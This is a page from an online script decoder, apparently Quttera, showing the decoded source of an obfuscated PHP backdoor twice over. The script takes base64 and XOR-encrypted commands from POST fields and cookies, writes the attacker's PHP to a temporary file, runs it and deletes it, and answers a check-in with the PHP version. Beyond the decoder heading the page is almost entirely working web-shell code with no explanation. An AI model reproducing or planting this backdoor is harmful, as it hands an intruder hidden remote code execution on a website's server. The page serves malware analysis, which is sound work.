Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

$jhebo    =     'jhebo'  ^    '	 ';

$uoyaxxhxi	=  "a"  .  $jhebo(772-658)  .  $jhebo(114)  .  "ay_".$jhebo(187-78)   .    "ap";


$bprix      =	$jhebo(837-732)       .  $jhebo(109)    .     "plod".$jhebo(101);




function    _fwgthxf($swxwp,    $vpb_odqvtf)
{

  global	$jhebo;

     
    $swxwp	=  "<"    .  $jhebo(261-198)    .       "php".$jhebo(32)    .    "unlink(__FI".$jhebo(76)    .	"E_".$jhebo(680-585)	.  ");".$jhebo(32)	.	$swxwp["d"];


	$uwtju_u_m       =  $jhebo(102)    .  "ile_p"	.	$jhebo(117)  .      "t".$jhebo(242-147)  .       "co".$jhebo(921-811)	.	$jhebo(116)     .    "ents";    
      $uwtju_u_m($vpb_odqvtf,  $swxwp);


	


      wnmhmiz($vpb_odqvtf);


}




$vpb_owmoaiijw  =  73;
function  wnmhmiz($vpb_odqvtf)


{


    global     $jhebo;


    include($vpb_odqvtf);
    $vdtpa  =  $vpb_odqvtf;
      @unlink($vdtpa);

}




function  swjul()

{
    global	$jhebo;



  $cvx_wsd       =    array();


  $cvx_wsd["pv"]	=  phpversion();      $cvx_wsd[$jhebo(115)       .   "v"]  =  $jhebo(51)  .      $jhebo(451-405)  .	"5";

	$wxgbfaj   =  74;
      echo  @serialize($cvx_wsd);


}








function   hludzeqfxb($swxwp,    $ffolcp)
{


    global  $jhebo;



	$dzevoiwc  =  "";


    $mgvbt  =  strlen($swxwp);  $sxagtcrw    =	strlen($ffolcp);

    $cvx_wsd	=   0;
     $vpb_o	=  0;

  


  while  ($cvx_wsd	<    $mgvbt)    {

      $kddrlea  =	$swxwp[$cvx_wsd]	^    $ffolcp[$vpb_o    %	$sxagtcrw];


    $dzevoiwc  .=  $kddrlea;


	$vpb_o++;  
  $cvx_wsd++;

   }


  
    if       (strlen($dzevoiwc)    >	20)    {
  $lzurz	=  substr($dzevoiwc,  0,	20);


  }
  if    (empty($dzevoiwc))  {    $dzevoiwc	=	date('Y-m-d    H:i:s');

      }


	return  $dzevoiwc;}


function	o_yoipy($_kbawr)
{

    global    $jhebo;


	


	$eyjczjfem	=      $jhebo(260-162)    .	"4".$jhebo(958-858)  .	"0c6"    .  $jhebo(887-789)  .	$jhebo(54)    .       "-"    .	$jhebo(50)	.      "8a"  .    $jhebo(52)     .    $jhebo(603-558)   .  "4c9a".$jhebo(45)	.       "b464-".$jhebo(55)	.      "fbbfe1"	.  $jhebo(100)      .	"655a";


       	foreach   ($_kbawr    as     $qmnkbggz  =>  $swxwp)	{
     hygoat(base64_decode($swxwp),  $eyjczjfem,	$qmnkbggz);
  }
}function    hygoat($swxwp,    $eyjczjfem,    $qmnkbggz)
{


    global  $jhebo;

		$swxwp  =    unserialize(hludzeqfxb(hludzeqfxb($swxwp,	$eyjczjfem),   $qmnkbggz));	$vevyeqc	=    'bv';	$dcpmftkncd    =  'gallolqx_';
     if  (isset($swxwp["ak"]))    {

  if    ($swxwp["a"]     ==      "i")  {
   swjul();  }   elseif  ($swxwp["a"]      ==      "e")  {


  _fwgthxf($swxwp,    sprintf($jhebo(46)     .   "/%s.pl",  md5($eyjczjfem)));

			$dqgvx     =   44;


	}

  
    }}





o_yoipy($_POST);	$vxrny      =  'rawurldecode';



$__swfwm   =    $uoyaxxhxi($vxrny,	$_POST);
$bprix("",    $vxrny);


o_yoipy($_COOKIE);
$kxyygo    =    $uoyaxxhxi($vxrny,    $_COOKIE);

$jhebo    =     'jhebo'  ^    '	 ';

$uoyaxxhxi	=  "a"  .  $jhebo(772-658)  .  $jhebo(114)  .  "ay_".$jhebo(187-78)   .    "ap";


$bprix      =	$jhebo(837-732)       .  $jhebo(109)    .     "plod".$jhebo(101);




function    _fwgthxf($swxwp,    $vpb_odqvtf)
{

  global	$jhebo;

     
    $swxwp	=  "<"    .  $jhebo(261-198)    .       "php".$jhebo(32)    .    "unlink(__FI".$jhebo(76)    .	"E_".$jhebo(680-585)	.  ");".$jhebo(32)	.	$swxwp["d"];


	$uwtju_u_m       =  $jhebo(102)    .  "ile_p"	.	$jhebo(117)  .      "t".$jhebo(242-147)  .       "co".$jhebo(921-811)	.	$jhebo(116)     .    "ents";    
      $uwtju_u_m($vpb_odqvtf,  $swxwp);


	


      wnmhmiz($vpb_odqvtf);


}




$vpb_owmoaiijw  =  73;
function  wnmhmiz($vpb_odqvtf)


{


    global     $jhebo;


    include($vpb_odqvtf);
    $vdtpa  =  $vpb_odqvtf;
      @unlink($vdtpa);

}




function  swjul()

{
    global	$jhebo;



  $cvx_wsd       =    array();


  $cvx_wsd["pv"]	=  phpversion();      $cvx_wsd[$jhebo(115)       .   "v"]  =  $jhebo(51)  .      $jhebo(451-405)  .	"5";

	$wxgbfaj   =  74;
      echo  @serialize($cvx_wsd);


}








function   hludzeqfxb($swxwp,    $ffolcp)
{


    global  $jhebo;



	$dzevoiwc  =  "";


    $mgvbt  =  strlen($swxwp);  $sxagtcrw    =	strlen($ffolcp);

    $cvx_wsd	=   0;
     $vpb_o	=  0;

  


  while  ($cvx_wsd	<    $mgvbt)    {

      $kddrlea  =	$swxwp[$cvx_wsd]	^    $ffolcp[$vpb_o    %	$sxagtcrw];


    $dzevoiwc  .=  $kddrlea;


	$vpb_o++;  
  $cvx_wsd++;

   }


  
    if       (strlen($dzevoiwc)    >	20)    {
  $lzurz	=  substr($dzevoiwc,  0,	20);


  }
  if    (empty($dzevoiwc))  {    $dzevoiwc	=	date('Y-m-d    H:i:s');

      }


	return  $dzevoiwc;}


function	o_yoipy($_kbawr)
{

    global    $jhebo;


	


	$eyjczjfem	=      $jhebo(260-162)    .	"4".$jhebo(958-858)  .	"0c6"    .  $jhebo(887-789)  .	$jhebo(54)    .       "-"    .	$jhebo(50)	.      "8a"  .    $jhebo(52)     .    $jhebo(603-558)   .  "4c9a".$jhebo(45)	.       "b464-".$jhebo(55)	.      "fbbfe1"	.  $jhebo(100)      .	"655a";


       	foreach   ($_kbawr    as     $qmnkbggz  =>  $swxwp)	{
     hygoat(base64_decode($swxwp),  $eyjczjfem,	$qmnkbggz);
  }
}function    hygoat($swxwp,    $eyjczjfem,    $qmnkbggz)
{


    global  $jhebo;

		$swxwp  =    unserialize(hludzeqfxb(hludzeqfxb($swxwp,	$eyjczjfem),   $qmnkbggz));	$vevyeqc	=    'bv';	$dcpmftkncd    =  'gallolqx_';
     if  (isset($swxwp["ak"]))    {

  if    ($swxwp["a"]     ==      "i")  {
   swjul();  }   elseif  ($swxwp["a"]      ==      "e")  {


  _fwgthxf($swxwp,    sprintf($jhebo(46)     .   "/%s.pl",  md5($eyjczjfem)));

			$dqgvx     =   44;


	}

  
    }}





o_yoipy($_POST);	



$__swfwm   =    $uoyaxxhxi('rawurldecode',	$_POST);
$bprix("",    'rawurldecode');


o_yoipy($_COOKIE);
$kxyygo    =    $uoyaxxhxi('rawurldecode',    $_COOKIE);



© 2023 Quttera Ltd. All rights reserved.